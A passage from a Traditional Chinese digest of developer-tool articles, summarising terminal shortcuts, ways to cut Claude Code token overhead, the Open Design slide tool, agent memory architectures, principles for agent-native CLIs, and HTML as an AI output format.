4. **善用 Aliases (別名)**: 將常用的組合縮寫，如 `alias ..='cd ..'` 或 `alias -- -='cd -'` (返回上一個目錄，就像瀏覽器的上一頁)。
5. **快捷鍵**: `Ctrl+A` (到行首)、`Ctrl+E` (到行尾)、`Ctrl+W` (刪除前一個單字)、`Ctrl+K` (刪除游標後的字)、`Alt+F/B` (按單字跳躍)。
6. **tmux (終端多工器)**: 讓 Session 不會因為斷線或關閉視窗而死亡，並支援分割窗格。
7. **背景執行**: 在指令尾端加上 `&` 放入背景執行，或用 `Ctrl+Z` 暫停後輸入 `bg`。
8. **指令組裝**: 寫一個 Bash function 把 `cd` 跟 `ls -la` 綁在一起執行。
9. **fzf (Fuzzy Finder)**: 終端機的神器，讓歷史紀錄、切換分支 (`git checkout $(git branch | fzf)`) 等清單變成視覺化的模糊搜尋。
10. **剪貼簿管線**: `cat file.txt | pbcopy` (Mac) 或 `xclip` (Linux)，徹底消滅滑鼠選取複製。
11. **thefuck**: 自動糾錯工具，打錯指令時輸入 `fuck` 就能自動推斷並修復。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **摩擦力 (Friction) 的複利效應**: 重新輸入一個長指令或許只花你 5 秒鐘，但它會打斷你的心流 (Flow)。當你一天必須打斷心流 50 次去移動游標時，你的大腦會感到疲憊。利用快捷鍵與別名消除這些微秒級的摩擦力，是資深工程師看起來「毫不費力」的秘訣。
### 關鍵證據
- 作者列出的 Aliases 清單和快捷鍵，都是經過無數次實戰篩選下來的「肌肉記憶」。例如 `Alt+F` (按單字向前跳) 取代了「死按著右鍵不放」，這在修改超長 Docker 或 Git 指令時具有毀滅性的效率優勢。
### 邊界條件
- **Muscle Memory (肌肉記憶) 的建立門檻**: 這些技巧看著簡單，但要內化需要刻意練習。如果只是把這篇文章加到書籤，第二天照樣無腦按上箭頭，那讀再多也沒用。建議每次強迫自己只練一個（例如這週只練 `!$` 和 `Ctrl+R`）。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Adventures in Claude Code land》中提到「資深工程師偏愛決定性的 bash 工具」這個概念。當你把終端機玩得出神入化時，你會發現很多複雜的 GUI 軟體或 AI 代理其實都可以用一行 bash + pipe 優雅解決。
- **深層洞見**: **"The terminal is a tool. But tools respond to the hands that know them." (終端機是個工具。但工具只會回應那些了解它們的雙手。) ** 程式設計師每天有 30% 的時間在跟終端機搏鬥，拒絕學習終端機的進階用法，就像是拒絕學盲打的作家一樣荒謬。
- **行動呼籲**:
現在，打開你的終端機。
1. 輸入 `brew install fzf` (或對應的安裝指令)。
2. 打開你的 `~/.zshrc` 或 `~/.bashrc`，把文章中的 `alias -- -='cd -'` 加進去。
3. 下次下錯指令遇到 `Permission denied` 時，請管住你想要按「上」跟「左」的手指，直接敲下 `sudo !!`。
開發工具
抓出 7 個 Token 消耗陷阱，讓 Claude Code 產能提升三倍 (Token Consumption Traps)
"如果你覺得 Claude 變貴變笨，問題不在模型，而在你的環境太臃腫。這是一篇極度硬核的「Claude Code 瘦身指南」。作者點出，每次你按下 Enter，系統都會把整個 、所有歷史對話、甚至沒用到的外掛 Schema 全部重新 Tokenize 一遍。文章提供了一套完整的稽核腳本，教你如何關閉偷塞上下文的 Plugin Hook、將 CLAUDE.md 瘦身到 1200 詞以內、升級一小時快取機制、並嚴格控制會話長度。真正的優化不是寫更好的 Prompt，而是刪除那些在後台默默吃資源的東西。"
---
tags: [開發工具, 系統工程, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T094005+0800-优化这七个Token消耗陷阱，你的Claude Code可以多用三倍.md"
---
# 抓出 7 個 Token 消耗陷阱，讓 Claude Code 產能提升三倍 (Token Consumption Traps)
原始來源與檔名：20260512_2026-05-05T094005+0800-优化这七个Token消耗陷阱，你的Claude Code可以多用三倍.md
來源：[[@KKaWSB]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T094005+0800-优化这七个Token消耗陷阱，你的Claude Code可以多用三倍.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Session != Blank Page. Session = Receipt of Pre-deductions.
> Output Token = Total Limit - (CLAUDE.md + History Re-read + Plugin Hooks + Skill Schemas).
> Productivity = 3x if you trim the invisible 70% Overhead.
_很多人抱怨 Claude 變笨了，或者 Token 額度用得太快（週三就撞限額）。作者攔截並分析了數百小時的 HTTP 請求，揭露了一個殘酷真相：真正用於產出的 Token 只佔 30%，剩下 70% 全被「隱形開銷 (Overhead)」吃掉了！這篇文章詳細拆解了 7 個消耗 Token 的恐怖陷阱，包含：過度膨脹的 CLAUDE.md、指數級重新計算的對話歷史、外掛偷偷注入的 Hook、5分鐘就過期的快取、以及常駐但沒在用的 Skills。只要跟著修復，你的可用額度會瞬間多出 2-3 倍。_
### 一句話
> 如果你覺得 Claude 變貴變笨，問題不在模型，而在你的環境太臃腫。這是一篇極度硬核的「Claude Code 瘦身指南」。作者點出，每次你按下 Enter，系統都會把整個 `CLAUDE.md`、所有歷史對話、甚至沒用到的外掛 Schema 全部重新 Tokenize 一遍。文章提供了一套完整的稽核腳本，教你如何關閉偷塞上下文的 Plugin Hook、將 CLAUDE.md 瘦身到 1200 詞以內、升級一小時快取機制、並嚴格控制會話長度。真正的優化不是寫更好的 Prompt，而是刪除那些在後台默默吃資源的東西。
### 餐巾紙草圖
```text
[ The Invisible Token Tax ]
User types: "Fix line 42" (10 tokens).
What Claude actually reads:
[CLAUDE.md] (5000 tokens)
+ [Git Branch Hook] (1000 tokens)
+ [12 unused MCP Schemas] (7000 tokens)
+ [Previous 30 messages] (30000 tokens)
+ "Fix line 42"
Total charged: 43,010 tokens.
Result: You hit your daily limit in 19 minutes.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **心智模型轉換**: Claude 會話不是白紙，而是一張預扣了各種隱形費用的發票。
- **陷阱一：CLAUDE.md 層層疊加**: 規則寫太多，每次請求都會載入。解法：控制在 1200 詞內，將框架規則下放專案，複雜模式抽成 Skill。
- **陷阱二：會話歷史指數級重讀**: 第 30 條訊息要為前 29 條付費。解法：發現錯誤直接「編輯並重發 (倒退)」，不要追加新訊息；會話硬上限 20 條，超了就 `/compact`。
- **陷阱三：外掛的群體偷塞**: Plugin 透過 `UserPromptSubmit` 或 `SessionStart` Hook 偷偷塞入 git 狀態或廢話。解法：用命令查看 Hook 並禁用不必要的外掛。
- **陷阱四：快取 5 分鐘失效**: 離開喝口水，回來 8000 token 就要重新按原價計費。解法：升級到 1 小時快取 (寫入 2 倍價，讀取 0.1 倍價，超過 10 次對話即回本)。
- **陷阱五：以防萬一綜合症 (Skills/MCP 過載)**: 裝了 11 個 Skill 和 12 個 MCP，每次請求都在傳輸 schema。解法：跑腳本稽核，禁用一週內沒呼叫過的 Skill 和 MCP。
- **陷阱六：Extended Thinking 全局開啟**: 連改個變數名稱都要燒 3000 token 推理。解法：預設關閉，只有第一次回答不滿意時，才開啟並重試。
- **陷阱七：讓跑偏的回答跑完**: 看到前 50 行錯了還讓它寫完 400 行。解法：前 5 秒發現不對，立刻按 `Cmd+.` 停止生成。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **基礎成本與邊際成本的失衡**: 許多文章教人精簡 Prompt (省 50 個 Token)，卻忽略了背景常駐的 Overhead (一次 20,000 Token)。作者透過 HTTP 代理攔截底層封包，用客觀數據證明了：優化 Overhead 帶來的產能提升，是優化 Prompt 的百倍以上。
2. **系統退化理論**: 這跟電腦越用越卡是同一個道理。AI 工具生態系統（Skills, Plugins, MCPs）極度鼓勵用戶「安裝擴充」，但卻沒有任何機制監控或清理這些擴充的「上下文佔用率」。
### 關鍵證據
- 作者提供了極具說服力的個人重構數據：
- CLAUDE.md 從 4800 詞砍到 900 詞。
- 會話平均長度從 60 條壓縮到 15 條。
- Hook 從 13 個砍到 3 個。
- 最終結果：產出 Token 佔比從 30% 躍升至 65%，等於單次請求的有效產出翻倍。
### 邊界條件
- 作者提倡「錯的時候改之前的訊息，別追加新訊息」。這在單人開發時極度有效，但如果 Agent 的行為軌跡需要作為組織的 Interaction Memory（互動記憶，如前文所述）留存以供稽核，不斷覆寫歷史可能會導致過程流失。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美打臉了前一篇《21 個 CLAUDE.md 必備設定》中「盡可能多加規則」的傾向，並呼應了更前一篇《Your Agent's Compactor Matters》中關於 Context Window 爆炸的問題。這代表了使用者從「盲目給 AI 塞資料」走向「精細化管理 AI 認知資源」的成熟轉變。
- **深層洞見**: **"你不是在打字，是在簽訂單。"** 每次按下 Enter 前，你都必須意識到你正在將整個系統的狀態發送給計費引擎。
- **行動呼籲**:
如果你正在使用 Claude Code 或 Cursor，立刻在終端機輸入這行腳本：`wc -w .claude/CLAUDE.md`。如果數字超過 1500，停下你手邊的工作，把那些「只發生過一次的防呆規則」和「冗長的為什麼」全部刪除。你的 AI 助理需要的是減肥，不是補腦。
開發工具
教程：Open Design——用 Coding Agent 加上「紀律」製作絕美 PPT
"不要再浪費錢買特定的 AI 簡報工具了。如果你有 Claude Code，套上開源的 Open Design 就能讓它從「寫 Code 模式」切換成「做 PPT 模式」。它的秘訣是不給 AI 自由發揮的空間，而是用嚴格的設計規範鎖死配色和字體，讓 AI 專心幫你產出排版精美的初稿骨架。省去了你從空白頁起草和痛苦配色的時間。"
---
tags: [開發工具, 系統工程]
date: 2026-05-11
source: "20260512_2026-05-12T092823+0800-教程：Open Design制作绝美PPT真的只要三分钟.md"
---
# 教程：Open Design——用 Coding Agent 加上「紀律」製作絕美 PPT
原始來源與檔名：20260512_2026-05-12T092823+0800-教程：Open Design制作绝美PPT真的只要三分钟.md
來源：[[@yinmin1987]] / X — 2026-05-11
原始檔名：`2026-05-12T092823+0800-教程：Open Design制作绝美PPT真的只要三分钟.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> AI "Slop" Output = Raw Agent + Open-ended Prompt.
> Usable AI Design = Your Local Agent (Claude Code/Codex) + Open Design (Design Systems + Skill Guardrails).
> Value: Zero cost, 3 minutes to structurally sound, visually cohesive HTML deck drafts.
_如果你直接叫 AI 寫一份 PPT，它通常會給你排版混亂、配色隨機的垃圾。Open Design 這個開源項目解決了這個問題，但它的解法很特別：它不自己做 AI 模型，而是直接調用你電腦裡現成的 Coding Agent (如 Claude Code)。它負責提供「紀律」——注入 72 套視覺設計系統 (Design Systems) 與排版規範。只要一句話，Agent 就會在這些嚴格的框架下，幫你產出結構完整、風格統一的 PPT 骨架 (HTML 格式)。_
### 一句話
> 不要再浪費錢買特定的 AI 簡報工具了。如果你有 Claude Code，套上開源的 Open Design 就能讓它從「寫 Code 模式」切換成「做 PPT 模式」。它的秘訣是不給 AI 自由發揮的空間，而是用嚴格的設計規範鎖死配色和字體，讓 AI 專心幫你產出排版精美的初稿骨架。省去了你從空白頁起草和痛苦配色的時間。
### 餐巾紙草圖
```text
[ How Open Design Works ]
Local Coding Agent (Claude Code / Codex) <-- The Engine
+
Open Design Daemon <-- The Discipline
├─ 31 Skills (Templates, Checklists)
├─ 72 Design Systems (Locked color/fonts)
└─ Discovery Form (Context lock)
||
\/
Consistent, beautiful HTML/PDF Deck Draft in 3 mins.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點**: 製作路演 (Pitch Deck) 時，從零開始排版耗時，套模板又常遇到配色衝突。而市面上好用的 AI 簡報工具 (如 Claude Design) 往往需付費、被雲端綁死。
- **Open Design 的解法**:
- 本身不帶 AI 引擎，而是接入你終端機裡的現有工具 (支援 16 種 Coding Agent CLI)。
- **核心哲學：不造 Agent，造紀律**。透過強制注入排版規則 (Skills) 和設計規範 (Design Systems)，消滅 Agent 排版隨機性。
- **實作流程**:
- `git clone` 專案並啟動本地 Node 服務。
- Web 介面自動抓取本地的 Claude Code。
- 選擇 PPT 類型 -> 選擇設計體系 (如 Claude Style) -> 輸入一席話需求。
- Agent 在後台規劃結構、生成頁面、自檢打分，產出 HTML 格式的 Deck。
- **邊界與限制**:
- 輸出為 HTML/PDF，不支援 `.pptx` (若需 PowerPoint 編輯需手動搬運或轉檔)。
- 無法處理複雜的 PowerPoint 轉場動畫。
- 技術內容細節需人工覆核 (Agent 可能產生事實幻覺)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 視覺設計的問題不在「能力」，而在「失控」**: 讓 Agent 自由發揮的結果就是「每次都是抽獎」。Open Design 證明了只要把視覺規範 (顏色、間距、字體) 寫死為 Markdown 格式的規則庫，普通的 Coding Agent 也能產出雜誌級的排版。
2. **工具解耦的優勢**: 開發者不需要為了做 PPT 再去訂閱一個新工具。充分利用本地強大的 Agent 算力，Open Design 扮演了極輕量的「Prompt 與架構封裝層」，極大化了現有工具的 ROI。
### 關鍵證據
- 作者親自實測了一句極短的 Prompt：「我要一個介紹 Milvus2.6 從概念到精通的路演 PPT」。系統在 3 分鐘內產出了具備封面、目錄、章節分隔與內容頁的完整骨架，且視覺風格完美統一。
### 邊界條件
- **精確品牌要求的殺手**: 如果公司有極度嚴格的 VI (視覺識別系統) 規範，要求 Logo 必須離邊緣幾像素，這種基於組件生成的工具絕對無法滿足。它的定位是「通用且好看」，而非「像素級定製」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《ADLC 開發方式》與《What Apple’s Leaked CLAUDE.md Teaches Us》。Open Design 的 31 個 Skills 與 72 套 Design Systems，本質上就是寫給 AI 看的行為契約 (Behavioral Contracts) 與 `CLAUDE.md` 防撞護欄。有了護欄，AI 才不會產出垃圾 (Slop)。
- **深層洞見**: **"Open Design 的核心決策很反直覺：作為一個設計工具，它不帶 AI 引擎。...它真正做的事情是給 agent 加紀律。"** 未來的 AI 應用開發者不應該再去卷「底層模型能力」，而是應該卷「工作流的紀律」。限制 AI 的自由，反而能釋放它最大的生產力。
- **行動呼籲**:
如果你下週要進行內部技術分享，試著不要打開 PowerPoint。啟動你的 Claude Code 與 Open Design，用一句話生成骨架，然後把時間花在推敲演講內容的邏輯上，而不是調整文字框的對齊。
開發工具
深度解析 Agent 記憶體工程：為什麼最蠢的方法贏了？ (Agent Memory Engineering)
"為什麼你的記憶檔在不同 Agent 之間無法通用？因為模型是「針對特定外殼 (Harness) 進行微調的」。這篇重磅分析指出，Agent 記憶體的難點從來不是資料結構，而是「紀律與判斷」。文章比較了三種架構：Hermes 的單一檔案字元上限、Codex 的非同步兩階段 Cron Job 濃縮，以及 Claude Code 的「總是加上新鮮度警告的動態讀取」。最大的體悟是：千萬不要把動態記憶體直接塞進 System Prompt，這會打破快取機制讓你破產；而面對老舊記憶，與其寫複雜的演算法刪除它，不如強制要求 Agent 在讀取時「先驗證再相信」。"
---
tags: [開發工具, Agent架構, 系統工程, 前沿技術]
date: 2026-05-02
source: "20260512_2026-05-05T094105+0800-Agent Memory Engineering.md"
---
# 深度解析 Agent 記憶體工程：為什麼最蠢的方法贏了？ (Agent Memory Engineering)
原始來源與檔名：20260512_2026-05-05T094105+0800-Agent Memory Engineering.md
來源：[[@nicbstme]] / X (Twitter) — 2026-05-02
原始檔名：`2026-05-05T094105+0800-Agent Memory Engineering.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Complex Idea: Vector DBs + Semantic Search + Background RAG Agent. -> FAILED (Lossy, expensive, opaque).
> Winning Reality: Markdown Files + File System Tools (Read/Write/Edit) + Strict Prompt Discipline. -> WON (Cheap, reliable, auditable).
> Memory Injection Rule: NEVER mutate system prompts mid-session (kills Prefix Cache). Freeze snapshot or lazy-load.
_這是一篇深入探討 Agent 記憶架構（Memory Engineering）的萬字長文摘要。作者比較了 Hermes, Codex CLI, 和 Claude Code 三大主流系統的底層實作。令人驚訝的結論是：過去兩年新創公司吹捧的向量資料庫與知識圖譜全軍覆沒，最終在生產環境中勝出的，是「Markdown 檔案 + 基礎 Bash 工具」。文章揭開了前綴快取 (Prefix Cache) 的經濟學如何決定記憶體的載入策略，以及「驗證紀律 (Verification)」遠比「自動淘汰 (Decay)」更有效。_
### 一句話
> 為什麼你的記憶檔在不同 Agent 之間無法通用？因為模型是「針對特定外殼 (Harness) 進行微調的」。這篇重磅分析指出，Agent 記憶體的難點從來不是資料結構，而是「紀律與判斷」。文章比較了三種架構：Hermes 的單一檔案字元上限、Codex 的非同步兩階段 Cron Job 濃縮，以及 Claude Code 的「總是加上新鮮度警告的動態讀取」。最大的體悟是：千萬不要把動態記憶體直接塞進 System Prompt，這會打破快取機制讓你破產；而面對老舊記憶，與其寫複雜的演算法刪除它，不如強制要求 Agent 在讀取時「先驗證再相信」。
### 餐巾紙草圖
```text
[ How Top Agents Do Memory ]
1. Storage Layer
Hermes: Flat list separated by §.
Codex: Strict JSON schema to Markdown blocks.
Claude Code: Typed files (.md) in a project-encoded folder.
2. Injection Layer (Crucial for Prompt Cache)
Hermes: Freezes snapshot at session start. (Cheap, but lags).
Codex: Loads index only, grep full handbook on demand.
Claude Code: System Prompt = Index only. Bodies = read via tool call.
3. Eviction/Trust Layer
Codex: Usage count decay (30 days untouched = forgotten).
Claude Code: "This memory is N days old. Verify before asserting as fact." (Brilliant).
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **現象**: 複製記憶檔案到不同的 Agent 介面，效果卻截然不同。因為模型對「該如何讀寫記憶」的直覺，來自它後訓練 (Post-training) 時所搭配的特定外殼。
- **聰明架構的失敗**: Vector DB, RAG, 知識圖譜之所以失敗，是因為它們太不透明、成本高、難以除錯。最終勝出的是最古老的基礎建設：文字檔 + grep。
- **三大架構比較**:
- **Hermes**: 單一檔案 (`MEMORY.md`)，有字元上限，Session 啟動時建立快照，同步寫入，但當前 Session 的 System Prompt 不會更新。
- **Codex**: 雙階段異步 (Two-Phase Pipeline)。Session 閒置 6 小時後，小模型負責擷取特徵 (Signal Gate)，大模型負責將內容彙整進 `MEMORY.md` 手冊。
- **Claude Code**: 同步即時寫入。Index 永遠常駐在 System prompt，詳細內容由 Agent 自主呼叫 Read 工具讀取。
- **快取經濟學 (Prefix Cache Problem)**: System prompt 變更哪怕一個字元，後面的 Token 都會以原價計算。因此絕對不能在 Mid-session 修改 System prompt。
- **過濾雜訊 (The Signal Gate)**: Codex 寫了高達 570 行的提示詞，只為了教導小模型「如何判斷什麼是不需要儲存的廢話」。預設為 No-op (不寫入) 是關鍵。
- **驗證紀律 (The Verification Discipline)**: Claude Code 在每次讀取記憶體時，都會動態包裝一段文字：「此記憶已存在 N 天，請先透過 Grep 驗證路徑與函數是否仍存在再回答。」這是極度聰明的設計。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **經濟學決定架構 (Economics dictates architecture)**: 許多人以為 Hermes 凍結 Session 快照是技術缺陷，但作者指出這其實是「承重牆設計 (Load-bearing design choice)」。在 API 計費模式下，快取命中 (Cached input) 的價格只有未命中的十分之一。如果為了「即時記憶」而頻繁修改 System Prompt，會導致一場長對話的成本暴增 10 倍。
2. **記憶是提示面，不是權威面 (Memory is a hint surface, not an authority surface)**: 開發環境是不斷變動的。如果把記憶體當作絕對事實，Agent 就會因為過時的路徑 (Stale claims) 而不斷出錯。Claude Code 強制要求「先驗證後使用」的紀律，用極低的 Prompt 成本解決了極為複雜的 Cache Invalidation (快取失效) 難題。
### 關鍵證據
- 作者親自檢視了三大系統的原始碼與運行狀態：
- Hermes 使用 `\n§\n` 作為分隔符的實作。
- Codex 透過 SQLite 追蹤 `usage_count` 與 `last_usage` 的機制。
- Claude Code 生成路徑 `C--Users-name` 處理多租戶 (Multi-tenancy) 隔離的技巧。
### 邊界條件
- **冷啟動問題 (Cold Start Problem)**: 作者坦承，這三大系統目前都無法解決 Day-1 體驗極差的問題。一個全新的使用者需要忍受數十次 Session 的摩擦，Agent 才能累積足夠的記憶。未來的突破點在於「一次性從現有資料 (Email, Calendar, 舊代碼) 中萃取初始記憶」。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《21 個 CLAUDE.md 必備設定》中的理念：CLAUDE.md 負責處理靜態的「我是誰 (Identity)」，而 Auto Memory 系統負責處理動態的「專案特例與使用者偏好修正」。兩者是互補的。
- **深層洞見**: **"The binding constraint is judgment: deciding what is worth remembering, when to update, when to verify. Markdown files are just how you persist what the judgment produced." (真正的瓶頸在於判斷力：決定什麼值得記、何時更新、何時驗證。Markdown 檔只是把判斷結果持久化的方式)。** 我們常把技術問題歸咎於儲存層，但 AI 的本質是決策層。教導 AI「不寫入無效訊息」的價值，遠大於建構一個能裝下無限訊息的超級資料庫。
- **行動呼籲**:
如果你正在設計自己的 Agent Workflow 或 Prompt 模板，立刻加上這條護欄規則：「在引用過去的記憶（尤其是檔案路徑與程式碼函數）時，必須先使用 grep 或 ls 工具確認目標仍然存在，禁止憑空斷言。」這個小動作將使你的 Agent 穩定性提升十倍。
開發工具
為 Agent 設計命令列的 10 大黃金原則 (10 Principles for Agent-Native CLIs)
"如果你的命令列工具 (CLI) 是設計給 AI 使用的，請拋棄人類中心主義的設計。Agent 看不懂漂亮的 ANSI 彩色表格，也會因為一個預期外的互動式選項 而永遠卡死。這篇指南詳細列出了 10 個核心原則：從強制支援無頭模式 ()、結構化輸出 ()、到提供自我描述 API () 以及針對非同步任務的同步等待機制 ()。設計給 Agent 用的 CLI，最終也會成為對人類最友善的 CLI。"
---
tags: [開發工具, 系統工程, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T093915+0800-10 Principles for Agent-Native CLIs.md"
---
# 為 Agent 設計命令列的 10 大黃金原則 (10 Principles for Agent-Native CLIs)
原始來源與檔名：20260512_2026-05-05T093915+0800-10 Principles for Agent-Native CLIs.md
來源：[[@trevin]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093915+0800-10 Principles for Agent-Native CLIs.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent-Native CLI = Tier 1 (Defensive) + Tier 2 (Compounding).
> Tier 1 = Non-interactive + JSON + Actionable Errors + Safe Retries + Bounded.
> Tier 2 = Vocabulary Consistency + Introspection + Async `--wait` + Profiles + 2-way I/O.
_越來越多的 CLI 工具（如 Cloudflare Wrangler, HeyGen CLI）開始將「Agent (AI代理)」視為第一級使用者，而不僅僅是人類。這篇文章總結了設計 Agent-Native CLI 的 10 大原則。它分為兩層：第一層是「防禦性」，確保 Agent 不會在執行時卡死（如避免互動式按 Y/N、確保輸出 JSON）；第二層是「複利效應」，透過統一命名詞彙、版本化內省 (Introspection) 和處理非同步任務 (`--wait`)，讓 Agent 越用越順手，並大幅降低 Token 消耗與重試錯誤。_
### 一句話
> 如果你的命令列工具 (CLI) 是設計給 AI 使用的，請拋棄人類中心主義的設計。Agent 看不懂漂亮的 ANSI 彩色表格，也會因為一個預期外的互動式選項 `[y/N]` 而永遠卡死。這篇指南詳細列出了 10 個核心原則：從強制支援無頭模式 (`--force`)、結構化輸出 (`--json`)、到提供自我描述 API (`agent-context`) 以及針對非同步任務的同步等待機制 (`--wait`)。設計給 Agent 用的 CLI，最終也會成為對人類最友善的 CLI。
### 餐巾紙草圖
```text
[ Human CLI vs Agent-Native CLI ]
Human CLI:
$ deploy
> Are you sure? [y/N]: y
> [Loading Bar...] Success!
Agent CLI (Tier 1 & 2):
$ deploy --force --wait --json --profile=prod
{"status": "success", "job_id": "8f2a", "url": "..."}
If Error:
Human CLI: "Invalid option."
Agent CLI: "Error: --visibility must be one of: public, private (got: secret)"
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: 繼 Cloudflare 和 HeyGen 推出針對 Agent 最佳化的 CLI 後，作者更新了設計原則，分為防禦性（不讓 Agent 崩潰）與複利性（賦能 Agent）兩大層。
- **Tier 1: Table Stakes (防禦性底線)**:
1. **預設非互動 (Non-interactive)**: Agent 無法回答 `[y/N]`。必須有 `--force` 繞過確認，且必須準確判斷非 TTY 環境。
2. **結構化輸出 (JSON)**: 必須有標準的 `--json` 參數（而不是一下 `--format=json` 一下 `--output json`）。錯誤輸出至 stderr，結果至 stdout。
3. **具教導性的錯誤 (Errors that teach)**: 當 Agent 輸入錯誤值時，錯誤訊息必須列出「所有有效選項 (Enum)」，讓 Agent 能一次重試成功。
4. **安全重試與明確的變更 (Safe retries)**: 創建資源的操作應該具備冪等性 (Idempotent)。危險操作必須有明確的 flag 和 `--dry-run`。
5. **限制回應大小 (Bounded responses)**: 列表必須分頁或截斷，並提示 Agent 如何過濾。這省下海量 Token。
- **Tier 2: Compounding (複利賦能)**:
6. **跨 CLI 詞彙一致性**: 用 `list` 不要用 `ls`；用 `get` 不要用 `info`。Agent 跨工具的泛化學習依賴於這種全域標準。
7. **三層內省 (Three-layer introspection)**: `--help` 給人類看；`agent-context` 提供版本化的 JSON Schema 供 Agent 讀取結構；`SKILL.md` 提供工作流教學。
8. **支援非同步執行的同步等待 (`--wait`)**: 不要讓 Agent 自己寫 Polling (輪詢) 迴圈！CLI 應該提供 `--wait` 幫忙等待 Job 完成並回傳最終結果。
9. **持久化身份 (Profiles)**: 提供 Profile 機制儲存常用配置，讓 Agent 不用每次都輸入 8 個相同的 flag。
10. **雙向 I/O (`--deliver` & `feedback`)**: 讓產出物直接送達目標（如直接轉送 webhook）減少 Agent 的檔案搬運；並提供 `feedback` 指令讓 Agent 遇到摩擦時能回報給開發者。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **成本與上下文的浪費**: Agent 在 CLI 前的每一次「卡死」、每一次解析錯誤的表格、每一次猜測 `--help` 中的變數，燃燒的都是使用者的 API 費用與上下文額度。Agent-Native 設計的本質是「為 Token 經濟學做最佳化」。
2. **手動維護無法保證一致性**: 第 6 點和第 7 點指出，人類在 PR 審查時一定會漏掉命名不一致（例如 `info` vs `get`）。唯一的解法是基於統一的 Schema 生成 CLI，這樣才能保證所有子指令的 `--json` 行為與命名詞彙絕對統一。
### 關鍵證據
- Cloudflare CLI 透過 Schema 一次生成 CLI、SDK、Terraform 和 MCP Server，並透過強制規定（Always `get`, never `info`；Always `--force`, never `--skip-confirmations`）達到了驚人的一致性。
- 非同步操作（第 8 點）：舉例說明如果沒有 `--wait`，Agent 必須自己撰寫並執行錯誤率極高的輪詢腳本，而一個簡單的 `--wait` flag 就能將多個對話回合壓縮成一個，大幅降低出錯率。
### 邊界條件
- 若開發者僅依賴 Schema 自動產生所有 CLI 文件與幫助指令，可能會導致面對「人類」使用者時，缺乏具有溫度的情境教學（也就是為何作者說仍然需要第三層的 SKILL.md 工作流清單）。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 第 7 點提到的 `SKILL.md` 完美對應了《The Claude Skills Folder That Automates 90% of Workflow》中提及的實作。第 8 點的 `--wait` 呼應了 Agent 對於 Workflow 長時間任務的狀態管理挑戰。
- **深層洞見**: **"Design for agents first, and humans benefit." (Agent 優先，人類受惠)。** 過去我們認為機器可讀性 (Machine-readable) 會犧牲人類體驗。但在 CLI 領域，冪等性、清晰的錯誤枚舉、無頭模式和 Profile 管理，對於使用 Shell Script 的人類工程師來說，同樣是夢寐以求的頂級體驗。
- **行動呼籲**:
如果你在團隊內負責維護內部 CLI 或開發新的自動化腳本，立刻檢查兩件事：1. 它遇到無效輸入時，會不會在錯誤訊息中印出所有有效選項？ 2. 你的刪除操作有沒有提供跳過詢問的 `--force` 參數？把這 10 點貼在牆上作為你們 CLI 開發的檢核表。
開發工具
為什麼在 Claude Code 中，HTML 是比 Markdown 更好的輸出格式？
"我們習慣讓 AI 吐 Markdown，因為它簡單。但當你需要 AI 幫你做系統架構分析、UI 原型測試、或是複雜的 PR (Pull Request) 程式碼審查報告時，試著在提示詞裡加上「請產出一個 HTML 檔案」。HTML 能讓 AI 畫出精美的 SVG 架構圖、用 CSS 標記嚴重程度、甚至加入互動按鈕。雖然它會消耗更多 Token，但在百萬 Context Window 時代，換來的是你能一眼看懂的超高資訊密度報告。"
---
tags: [開發工具, 系統工程]
date: 2026-05-09
source: "20260512_2026-05-12T093200+0800-Using Claude Code The Unreasonable Effectiveness of HTML.md"
---
# 為什麼在 Claude Code 中，HTML 是比 Markdown 更好的輸出格式？
原始來源與檔名：20260512_2026-05-12T093200+0800-Using Claude Code The Unreasonable Effectiveness of HTML.md
來源：[[@trq212]] / X — 2026-05-09
原始檔名：`2026-05-12T093200+0800-Using Claude Code The Unreasonable Effectiveness of HTML.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Markdown = Good for humans to write, but low visual density.
> HTML + AI = High Information Density (CSS, SVG, Interactive) + Great readability for 100+ line specs.
> Use Case: PR Reviews, Architecture Diagrams, Interactive Design Prototyping.
_Claude Code 團隊的成員 Thariq 分享了一個違反直覺的實踐：在讓 AI 產出規劃、規格書或報告時，要求它輸出 HTML 格式，效果遠勝過傳統的 Markdown。因為 AI 越來越強，產出的文件動輒數百行，Markdown 在這時會變得難以閱讀。而 HTML 可以利用 CSS 進行版面編排、用 SVG 畫出精美的架構圖、用 Table 呈現數據，甚至能加入可調滑桿 (Sliders) 讓你在網頁上微調參數，然後把滿意的結果複製回 Prompt 裡。_
### 一句話
> 我們習慣讓 AI 吐 Markdown，因為它簡單。但當你需要 AI 幫你做系統架構分析、UI 原型測試、或是複雜的 PR (Pull Request) 程式碼審查報告時，試著在提示詞裡加上「請產出一個 HTML 檔案」。HTML 能讓 AI 畫出精美的 SVG 架構圖、用 CSS 標記嚴重程度、甚至加入互動按鈕。雖然它會消耗更多 Token，但在百萬 Context Window 時代，換來的是你能一眼看懂的超高資訊密度報告。
### 餐巾紙草圖
